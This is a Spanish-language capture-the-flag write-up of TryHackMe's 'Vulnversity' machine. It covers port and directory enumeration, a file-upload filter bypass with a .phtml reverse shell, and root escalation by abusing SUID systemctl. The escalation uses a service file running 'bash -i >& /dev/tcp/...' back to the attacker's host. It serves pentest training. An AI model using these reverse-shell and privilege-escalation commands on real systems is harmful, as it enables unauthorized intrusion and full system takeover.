Vulnversity [TryHackMe]
2023-08-26
Introducción
Vulnversity es la primera máquina a vulnerar del learning path “Offensive Pentesting” de TryHackMe. Es una sala sencilla que sirve para practicar los fundamentos vistos durante el path de “Jr Penetration Tester”. El objetivo principal era identificar vulnerabilidades y puntos de entrada en el sistema a partir de una aplicación web, así como realizar una escalada de privilegios para obtener acceso root.
Recopilación de Información (Reconocimiento)
Comienzo con un escaneo de puertos utilizando Nmap para enumerar los servicios en la máquina:
nmap -sS -p- -T4 -oN nmap_scan 10.10.71.251
Los resultados muestran varios puertos abiertos, incluidos el 21 (FTP), 22 (SSH), 139 (NetBIOS-SSN), 445 (Microsoft-DS), 3128 (Squid HTTP Proxy) y 3333 (HTTP).
Enumeración Web
Escaneo de Directorios con Gobuster
Hago un escaneo de directorios en el servidor web que se ejecuta en el puerto 3333. Uso Gobuster con la lista de directorios predeterminada:
gobuster dir -u http://10.10.71.251:3333 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
El escaneo encuentra un directorio llamado /internal
.
Explotación de la Vulnerabilidad
Mi siguiente paso es intentar subir un archivo PHP como shell inversa, pero me encuentro con restricciones en la extensión del archivo. Preparo una lista de extensiones PHP y uso Burp Suite para realizar un ataque “sniper” desde el módulo Repeater.
Reviso los resultados de Repeater y compruebo que la extensión .phtml
permite eludir la comprobación de extensiones de archivos. Subo un archivo llamado revere-shell.phtml
que contiene el código para ejecutar una shell inversa.
Obtención de Acceso
Para obtener acceso, abro un listener con Netcat:
nc -lvnp 1234
Luego, para estabilizar la shell y mejorar su funcionalidad, ejecuté el comando:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Además, configuro la variable de entorno TERM
para xterm
con:
export TERM=xterm
De esta forma, puedo usar comandos como clear
y Ctrl + C
en la shell.
Escalada de Privilegios
Enumeración de Usuarios
Mientras exploro el sistema vulnerado, encuentro un usuario llamado “bill” en el directorio /home
.
Búsqueda de Binarios SUID
Luego, usando el comando find
, me pongo a buscar binarios con el bit SUID y SGID habilitados:
find / -type f -perm -u=s -o -type f -perm -g=s 2>/dev/null
Me llama la atención el binario /bin/systemctl
, que tiene el bit SUID habilitado.
Escalada de Privilegios con systemctl
Investigo /bin/systemctl
en GTFOBins y encuentro una forma de escalada de privilegios para systemctl
. El ejemplo de GTFOBins es el siguiente:
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "id > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
Obtención de una Shell de Root
Para obtener una shell de root, modifico el archivo de servicio temporal (*.service
) vinculado a /bin/systemctl
para ejecutar un shell inverso como root. Aquí está la configuración del archivo de servicio:
[Service]
Type=oneshot
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.14.50.184/4444 0>&1"
[Install]
WantedBy=multi-user.target
Reinicio el servicio temporal:
/bin/systemctl systemctl link $TF
En mi máquina local, configuro un listener en el puerto 4444:
nc -lvnp 4444
Y por ultimo activo el servicio temporal para que se ejecute ahora:
/bin/systemctl enable $TF --now
Una vez reiniciado el servicio temporal en la máquina objetivo, obtengo una shell de root en mi máquina.
Conclusión
Vulnversity es una máquina idónea para principiantes, ya que permite practicar y aplicar conceptos fundamentales que serán muy útiles en posteriores máquinas del learning path “Offensive Pentesting”:
- Enumeración de servicios y puertos mediante herramientas como Nmap.
- Escaneo de directorios en un servidor web utilizando Gobuster.
- Explotación de vulnerabilidades, como restricciones en la extensión de archivos, para cargar archivos maliciosos.
- Obtención de acceso a través de una shell inversa y mejora de la funcionalidad de la shell.
- Escalada de privilegios mediante la identificación de binarios SUID y SGID.
- Uso de GTFOBins para abusar de binarios con permisos elevados.